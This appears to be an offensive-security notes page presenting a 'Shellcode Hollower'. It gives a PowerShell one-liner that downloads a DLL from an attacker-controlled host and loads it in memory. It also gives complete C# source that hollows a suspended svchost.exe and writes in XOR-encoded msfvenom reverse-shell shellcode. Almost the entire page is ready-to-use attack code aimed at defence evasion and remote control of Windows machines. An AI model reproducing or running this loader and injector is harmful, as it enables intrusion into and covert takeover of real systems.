githubEdit

Shellcode Hollower

Load shellcodeHollower remotely

$data = (New-Object System.Net.WebClient).DownloadData('http://[ATTACKER_IP]/run.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ProcessHollowingDLL.ProcessHollowing")  # Adjust the type name accordingly
$method = $class.GetMethod("PerformProcessHollowing")  # Ensure method name matches
$method.Invoke($null, $null)

Code

using System;
using System.Runtime.InteropServices;

namespace ProcessHollowingDLL
{
    public class ProcessHollowing
    {
        // Define necessary structures
        [StructLayout(LayoutKind.Sequential)]
        public struct STARTUPINFO
        {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr ExitStatus;
            public IntPtr PebAddress;
            public IntPtr AffinityMask;
            public IntPtr BasePriority;
            public IntPtr UniqueProcessId;
            public IntPtr InheritedFromUniqueProcessId;
        }

        // Constants
        const uint CREATE_SUSPENDED = 0x00000004;
        const int ProcessBasicInformation = 0;

        // Function declarations
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation
        );

        [DllImport("ntdll.dll")]
        static extern int NtQueryInformationProcess(
            IntPtr hProcess,
            int processInformationClass,
            ref PROCESS_BASIC_INFORMATION processInformation,
            uint processInformationLength,
            ref uint returnLength
        );

        [DllImport("ntdll.dll")]
        static extern int NtReadVirtualMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            int NumberOfBytesToRead,
            out IntPtr lpNumberOfBytesRead
        );

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            int NumberOfBytesToWrite,
            out IntPtr lpNumberOfBytesWritten
        );

        [DllImport("ntdll.dll", SetLastError = true)]
        static extern int NtResumeThread(IntPtr hThread, out uint lpPreviousSuspendCount);

        // Entry point function for DLL to be called externally
        public static void PerformProcessHollowing()
        {
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

            si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFO));

            // Create process in suspended state (svchost.exe in this case)
            bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);

            if (!res)
            {
                int errorCode = Marshal.GetLastWin32Error();
                Console.WriteLine($"CreateProcess failed with error code: {errorCode}");
                return;
            }

            if (pi.hProcess == IntPtr.Zero || pi.hThread == IntPtr.Zero)
            {
                Console.WriteLine("Invalid process or thread handle.");
                return;
            }

            // Retrieve process information to locate the entry point
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            IntPtr hProcess = pi.hProcess;

            int status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
            if (status != 0)
            {
                Console.WriteLine("Failed to query process information.");
                return;
            }

            IntPtr ptrImageBaseAddress = (IntPtr)((long)bi.PebAddress + 0x10);
            byte[] baseAddressBytes = new byte[IntPtr.Size];
            IntPtr nRead;

            // Read image base address
            NtReadVirtualMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressBytes.Length, out nRead);
            IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));

            byte[] data = new byte[0x200];
            NtReadVirtualMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);

            uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
            uint entrypointRvaOffset = e_lfanew + 0x28;
            uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);

            IntPtr entrypointAddress = (IntPtr)((ulong)imageBaseAddress + entrypointRva);

            // msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=ens33 LPORT=443 -f csharp EXITFUNC=thread
            // XOR'd with key: 0xfa
            byte[] amit = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, 0xAB, 0xBB, 0xAA, 0xA8, 0xAB, 0xB2, 0xCB, 0x28, 0x9F, 0xB2, 0x71, 0xA8, 0x9A, 0xB2, 0x71, 0xA8, 0xE2, 0xAC, 0xB2, 0x71, 0xA8, 0xDA, 0xB2, 0xF5, 0x4D, 0xB0, 0xB0, 0xB7, 0xCB, 0x33, 0xB2, 0x71, 0x88, 0xAA, 0xB2, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0x18, 0x17, 0xA8, 0xBB, 0xAB, 0xB2, 0x71, 0xA8, 0xDA, 0x71, 0xB8, 0xC6, 0xB2, 0xFB, 0x2A, 0x9C, 0x7B, 0x82, 0xE2, 0xF1, 0xF8, 0xF5, 0x7F, 0x88, 0xFA, 0xFA, 0xFA, 0x71, 0x7A, 0x72, 0xFA, 0xFA, 0xFA, 0xB2, 0x7F, 0x3A, 0x8E, 0x9D, 0xB2, 0xFB, 0x2A, 0xAA, 0xBE, 0x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 0xAD, 0xA3, 0xBB, 0x40, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xB3, 0x05, 0x34, 0x13, 0xC6, 0x05, 0x05, 0x05, 0xB2, 0xFB, 0x39, 0xB2, 0xD3, 0x3C, 0xB2, 0x7F, 0x0C, 0x8F, 0x4E, 0xBB, 0x05, 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };

            for (int i = 0; i < amit.Length; i++)
            {
                amit[i] = (byte)((uint)amit[i] ^ 0xfa);
            }


            // Write the NOP shellcode to the process memory
            WriteProcessMemory(hProcess, entrypointAddress, amit, amit.Length, out nRead);

            // Resume the thread to execute the shellcode
            uint previousSuspendCount;
            int resumeStatus = NtResumeThread(pi.hThread, out previousSuspendCount);

            if (resumeStatus == 0)
            {
                Console.WriteLine("Boom! Check your listener.");
            }
            else
            {
                Console.WriteLine("Failed to resume the thread.");
            }
        }
    }
}

Last updated